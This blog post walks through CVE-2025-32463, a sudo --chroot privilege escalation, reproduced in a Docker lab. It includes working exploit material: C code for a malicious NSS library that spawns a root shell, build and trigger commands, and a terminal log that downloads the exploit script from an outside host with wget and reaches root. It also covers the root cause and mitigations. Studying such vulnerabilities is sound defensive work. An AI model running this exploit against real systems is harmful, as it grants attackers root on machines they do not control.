Post

CVE-2025-32463 – Sudo chroot Local Privilege Escalation (Lab on Docker)

Posted
Preview Image
By Adonijah Kiplimo
4 min read

Vulnerability Advisory: Local Privilege Escalation via Sudo --chroot (CVE-2025-32463)
Public Disclosure: June 30, 2025
Demo Environment: Docker-based lab with vulnerable Sudo version
GitHub Lab: View Dockerfile & Setup

Summary

In June 2025, a critical local privilege escalation vulnerability in sudo was disclosed as CVE-2025-32463, affecting versions 1.9.14 to 1.9.17. Exploiting this flaw allows any local user, even without sudo privileges, to gain full root access via the --chroot feature.

The vulnerability was discovered through responsible disclosure and has been documented in the Common Vulnerabilities and Exposures (CVE) database. This blog walks through how the vulnerability works and how I replicated it using Docker. The exploit is surprisingly clean, clever, and dangerous.

Setting Up the Lab with Docker

To test this locally and understand the internals, I set up a vulnerable container running Ubuntu 24.04 with sudo 1.9.15p5 preinstalled.

The lab includes:

  • A non-privileged user labuser
  • Vulnerable Sudo version (pre-1.9.17p1)
  • An exploit that abuses the chroot and NSS (Name Service Switch) mechanism
  • A malicious shared object loaded during sudo initialization

GitHub Repo: https://github.com/adonijah01/cve-2025-32463-lab
Files included: Dockerfile, sudo-chwoot.sh (exploit script), and README.md with setup instructions

Exploiting the Vulnerability

When sudo is invoked with -R <dir> (chroot), it temporarily changes the root path for command execution. However, during internal checks (e.g., using getpwnam()), it looks at files like /etc/nsswitch.conf inside the chroot. If this config references a nonexistent NSS source, sudo will attempt to load a shared object with that name.

Using this behavior, we can:

  1. Create a custom nsswitch.conf that references a fake NSS source (e.g., /woot1337)
  2. Build a malicious shared object libnss_/woot1337.so.2 that spawns a root shell
  3. Place both inside a writable chroot directory

  4. Trigger the vulnerability with:

    1

    sudo -R woot /bin/false

The shared object is executed before the actual command runs.

Screenshot of Exploit Success

Exploit Success

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

┌──(arrow㉿arrow)-[~/CVE-2025-32463/exploit]
└─$ docker run -it --privileged cve-2025-32463-lab 
labuser@071ef370ecf1:~$ ls
labuser@071ef370ecf1:~$ id
uid=1001(labuser) gid=1001(labuser) groups=1001(labuser)
labuser@071ef370ecf1:~$ wget http://10.10.14.175:8000/sudo-chwoot.sh
--2025-07-01 22:34:24--  http://10.10.14.175:8000/sudo-chwoot.sh
Connecting to 10.10.14.175:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 651 [text/x-sh]
Saving to: 'sudo-chwoot.sh'

sudo-chwoot.sh                          100%[=============================================================================>]     651  -

2025-07-01 22:34:24 (52.6 MB/s) - 'sudo-chwoot.sh' saved [651/651]

labuser@071ef370ecf1:~$ ls
sudo-chwoot.sh
labuser@071ef370ecf1:~$ chmod +x sudo-chwoot.sh 
labuser@071ef370ecf1:~$ ./sudo-chwoot.sh 
[*] Launching exploit via sudo -R ...
root@071ef370ecf1:/# id
uid=0(root) gid=0(root) groups=0(root),1001(labuser)
root@071ef370ecf1:/#

Why This Works

During sudo initialization, getpwnam() is called. The system consults /etc/nsswitch.conf and loads the NSS shared object from the chroot environment:

1

passwd: /woot1337 → loads libnss_/woot1337.so.2

Malicious .so executes with root privileges due to how sudo works with chroot.

This misalignment of trust boundaries between chroot and dynamic library loading is the core vulnerability.

Exploit Code Breakdown

Here are the key components of the exploit that demonstrate the vulnerability:

Malicious Shared Object:

1
2
3
4
5
6
7
8
9

#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}

Fake NSS Configuration:

1

echo "passwd: /woot1337" > woot/etc/nsswitch.conf

Library Compilation:

1

gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

Exploitation Trigger:

1

sudo -R woot woot

Key Components:

  1. Malicious Shared Object: Uses __attribute__((constructor)) to execute code when the library is loaded, immediately spawning a root shell
  2. Fake NSS Configuration: Creates nsswitch.conf that references the non-existent /woot1337 source
  3. Library Compilation: Builds the malicious shared object as libnss_/woot1337.so.2
  4. Exploitation: Triggers the vulnerability with sudo -R woot woot

The exploit leverages the fact that sudo will attempt to load the shared object when it encounters the fake NSS source during user lookup operations.

Note: The original PoC concept is based on the research from Stratascale’s advisory. The complete exploit script and Docker lab are available in the GitHub repository linked above.

Mitigation

  • Upgrade sudo to v1.9.17p1 or later
  • Avoid use of the –chroot or runchroot= options in sudoers
  • Check your environment with:
1
2

grep -r CHROOT= /etc/sudoers*
grep -r runchroot /etc/sudoers*

Sudo 1.9.17p1 removes the vulnerable logic and blocks this attack.

Docker Lab Quick Start

The complete lab environment is available in the GitHub repository, which includes:

  • Dockerfile - Vulnerable Ubuntu 24.04 with sudo 1.9.15p5
  • sudo-chwoot.sh - Complete exploit script
  • README.md - Detailed setup and usage instructions

To run the lab:

1
2
3
4

git clone https://github.com/adonijah01/cve-2025-32463-lab.git
cd cve-2025-32463-lab
docker build -t cve-2025-32463-lab .
docker run --rm -it --privileged cve-2025-32463-lab

From inside the container:

1
2

cd ~
./sudo-chwoot.sh

Final Thoughts

This vulnerability is a perfect reminder of how rarely used features can hide serious flaws for years. sudo is trusted code in nearly every Linux system, and this bug went unnoticed for over a decade. The responsible disclosure process and subsequent fix demonstrate the importance of security research and collaboration in the cybersecurity community.

The chroot feature has been marked as deprecated in sudo 1.9.17p1 and will be removed entirely in a future release, highlighting how complex features can introduce unexpected security implications.

Resources

CVE-2025-32463, Security, Labs, Docker, Linux, Exploit
CVE-2025-32463 sudo privilege-escalation docker linux exploit
This post is licensed under CC BY 4.0 by the author.
💡 Like what you’re reading?
If this write-up added value to your learning or workflow, feel free to support continued content like this.
☕ Support via PayPal